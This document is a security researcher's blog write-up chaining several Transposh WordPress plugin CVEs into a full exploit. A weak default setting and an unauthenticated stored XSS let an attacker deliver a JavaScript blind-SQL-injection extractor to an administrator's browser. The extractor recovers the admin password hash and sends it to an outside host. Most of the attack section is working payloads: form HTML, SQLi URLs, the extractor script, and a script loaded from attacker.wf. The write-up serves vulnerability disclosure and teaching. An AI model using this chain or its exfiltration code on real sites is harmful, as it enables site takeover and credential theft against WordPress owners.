WordPress Transposh: Exploiting a Blind SQL Injection via XSS
Introduction
You probably have read about my recent swamp of CVEs affecting a WordPress plugin called Transposh Translation Filter, which resulted in more than $30,000 in bounties:
- [CVE-2021-24910] Transposh <= 1.0.7 “tp_tp” Unauthenticated Reflected Cross-Site Scripting
- [CVE-2021-24911] Transposh <= 1.0.7 “tp_translation” Unauthenticated Stored Cross-Site Scripting
- [CVE-2021-24912] Transposh <= 1.0.8.1 Multiple Cross-Site Request Forgeries
- [CVE-2022-2461] Transposh <= 1.0.8.1 “tp_translation” Weak Default Translation Permissions
- [CVE-2022-2462] Transposh <= 1.0.8.1 “tp_history” Unauthenticated Information Disclosure
- [CVE-2022-25810] Transposh <= 1.0.8.1 Improper Authorization Allowing Access to Administrative Utilities
- [CVE-2022-25811] Transposh <= 1.0.8.1 “tp_editor” Multiple Authenticated SQL Injections
- [CVE-2022-25812] Transposh <= 1.0.8.1 “save_transposh” Missing Logfile Extension Check Leading to Code Injection
Here’s the story about how you could chain three of these CVEs to go from unauthenticated visitor to admin.
Part 1: CVE-2022-2461 - Weak Default Configuration
So the first issue arises when you add Transposh as a plugin to your WordPress site; it comes with a weak default configuration that allows any user (aka Anonymous
) to submit new translation entries using the ajax action tp_translation
:
This effectively means that an attacker could already influence the (translated) content on a WordPress site, which is shown to all visitors.
Part 2: CVE-2021-24911 - Unauthenticated Stored Cross-Site Scripting
The same ajax action tp_translation
can also be used to permanently place arbitrary JavaScript into the Transposh admin backend using the following payload:
<html>
<body>
<form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="tp_translation" />
<input type="hidden" name="ln0" value="en" />
<input type="hidden" name="sr0" value="0" />
<input type="hidden" name="items" value="1" />
<input type="hidden" name="tk0" value="xss<script>alert(1337)</script>" />
<input type="hidden" name="tr0" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
When an administrator now visits either Transposh’s main dashboard page at /wp-admin/admin.php?page=tp_main
or the Translation editor
tab at /wp-admin/admin.php?page=tp_editor
, then they’ll execute the injected arbitrary JavaScript:
At this point, you can already do a lot of stuff on the backend, but let’s escalate it further by exploiting a seemingly less severe authenticated SQL Injection.
Part 3: CVE-2022-25811 - Authenticated SQL Injections
So this is probably the most exciting part, although the SQL Injections alone only have a CVSS score of 6.8 because they are only exploitable using administrative permissions. Overall, we’re dealing with a blind SQL Injection here, which can be triggered using a simple sleep payload:
/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))
This results in a nice delay of the response proving the SQL Injection:
To fully escalate this chain, let’s get to the most interesting part.
How to (Quickly) Exploit a Blind SQL Injection via Cross-Site Scripting
Approach
Have you ever thought about how to exploit a blind SQL Injection via JavaScript? You might have read my previous blog article, where I used a similar bug chain, but with an error-based SQL Injection. That one only required a single injection payload to exfiltrate the admin user’s password, which is trivially easy. However, to exploit a blind SQL Injection, you typically need hundreds, probably thousands of boolean (or time-based) comparisons to exfiltrate data. The goal here is the same: extracting the administrator’s password from the database.
Now, you might think: well, you could use a boolean comparison and iterate over each character of the password. However, since those hashed passwords (WordPress uses the pHpass algorithm to create passwords) are typically 30 characters long (excluding the first four static bytes $P$B
) and consist of alphanumeric characters including some special chars (i.e. $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/
), going through all the possible ASCII characters from 46 (“.”) to 122 (lower-capital “z”) would require you to send around 76 requests per character which could result in 76*30 = 2280 requests.
This is a lot and will require the victim to stay on the page for quite a while.
So let’s do it a bit smarter with only around 320 requests, which is around 84% fewer requests. Yes, you might still find more optimization potential in my following approach, but I find 84% to be enough here.
Transposh’s Sanitization?!
While doing the source code review to complete this chain, I stumbled upon a useless attempt to filter special characters for the vulnerable order
and orderBy
parameters. It looks like they decided to only filter for FILTER_SANITIZE_SPECIAL_CHARS
which translates to "<>&
:
$orderby = (!empty(filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS) : 'timestamp';
$order = (!empty(filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS) : 'desc';
It’s still a limitation, but easy to work around: we’re just going to replace the required comparison characters <
and >
with a between x and y
. We don’t actually care about "
and &
since the payload doesn’t really require them.
Preparing The Test Cases
The SQL Injection payload that can be used looks like the following (thanks to sqlmap for the initial payload!):
(SELECT+(
CASE+WHEN+(
ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))
+BETWEEN+1+AND+122)+
THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))
I’ve split the payload up for readability reasons here. Let me explain its core components:
- The
ORD()
(together with theMID
) walks theuser_pass
string which is returned by the subquery character by character. This means we’ll get the password char by char. I’ve also added aWHERE id=1
clause to ensure we’re just grabbing the password of WordPress’s user id1
, which is usually the administrator of the instance. - The
CASE WHEN
–>BETWEEN 1 and 122
part validates whether each returned character matches an ordinal between 1 and 122. - The
THEN
–>ELSE
part makes the difference in the overall output and the datapoint we will rely on when exploiting this with a Boolean-based approach.
The False Case
Let’s see how we can differentiate the responses to the BETWEEN x and y
part. We do already know that the first character of a WordPress password is $
(ASCII 36
), so let’s take this to show how the application reacts.
The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+100+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))
performs a BETWEEN 100 and 122
test which results in the following visible output:
The True Case
The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+1+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))
in return performs a BETWEEN 1 and 122
check and returns a different visible output:
As you can see on the last screenshot, in the true
case, the application will show the Bulk actions
dropdown alongside the translated strings. This string will be our differentiator!
How to Reduce the Exploitation Requests from ~2200 to ~300
So we need to find a way not to have to send 76 requests per character - from 46 (.
) to 122 (lower-capital z
). So let’s do it by approximation. My idea is to use the range of 46-122 and apply some math:
Let’s first define a couple of things:
-
46
: the lowest end of the possible character set –>cur
(current) value. -
122
: the upper end of the possible character set –>max
(maximum) value. -
0
: the previous valid current value –>prev
value. Here we need to keep track of the previouslytrue
case value to be able to revert the calculation to a working case if we’d encounter afalse
case. 0 because we don’t know the first valid value.
Doing the initial between check
of cur
and max
will always result in a true
case (because it’s the entire allowed character set). To narrow it down, we now point cur
value to exactly the middle between cur
and max
using the formula:
cur = cur + (Math.floor((max-cur)/2));
This results in a check of BETWEEN 84 and 122
. So we’re checking if the target is located in the upper OR implicitly in the lower half of the range. If this would again result in a true
case because the character in probing is in that range, do the same calculation again and narrow it down to the correct character.
However, if we’d encounter a false
case because the character is lower than 84
, then let’s set the max
value to the cur
one because we have to instead look into the lower half, and also set cur
to the prev
value to keep track of it.
Based on this theory and to match the character uppercase C
(ASCII: 67), the following would happen:
true: cur:84, prev:46,max:122
true: cur:65, prev:46,max:84
true: cur:74, prev:65,max:84
true: cur:69, prev:65,max:74
true: cur:67, prev:65,max:69
true: cur:68, prev:67,max:69
true: cur:67, prev:67,max:68
Finally, if cur
equals prev
, we’ve found the correct char. And it took about seven requests to get there, instead of 21 (67-46).
Some JavaScript (Magic)
Honestly, I’m not a JavaScript pro, and there might be ways to optimize it, but here’s my implementation of it, which should work with any blind SQL Injections that you want to chain with an XSS against WordPress:
async function exploit() {
let result = "$P$B";
let targetChar = 5;
let prev = 0;
let cur = 46;
let max = 122;
let requestCount = 0;
do {
let url = `/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),${targetChar},1))+BETWEEN+${cur}+AND+${max})+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))`
const response = await fetch(url)
const data = await response.text()
requestCount = requestCount + 1;
// this is the true/false differentiator
if(data.includes("Bulk actions"))
{
// "true" case
prev = cur;
cur = cur + (Math.floor((max-cur)/2));
//console.log('true: cur:' + cur + ', prev:' + prev + ',max:' + max );
if(cur === 0 && prev === 0) {
console.log('Request count: ' + requestCount);
return(result)
}
// this means we've found the correct char
if(cur === prev) {
result = result + String.fromCharCode(cur);
// reset initial values
prev = 0;
cur = 20;
max = 122;
// proceed with next char
targetChar = targetChar + 1;
console.log(result);
}
}
else
{
// "false" case
// console.log('false: cur:' + cur + ', prev:' + prev + ',max:' + max );
max = cur;
cur = prev;
}
} while (1)
}
exploit().then(x => {
console.log('password: ' + x);
// let's leak it to somewhere else
leakUrl = "http://www.rcesecurity.com?password=" + x
xhr = new XMLHttpRequest();
xhr.open('GET', leakUrl);
xhr.send();
});
Connecting the Dots
Now you could inject a Stored XSS payload like the following, which points a script src
to a JavaScript file containing the payload:
<html>
<body>
<form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="tp_translation" />
<input type="hidden" name="ln0" value="en" />
<input type="hidden" name="sr0" value="xss" />
<input type="hidden" name="items" value="3" />
<input type="hidden" name="tk0" value="xss<script src="https://www.attacker.wf/ff.js">" />
<input type="hidden" name="tr0" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Trick an admin into visiting the Transposh backend, and finally enjoy your WordPress hash: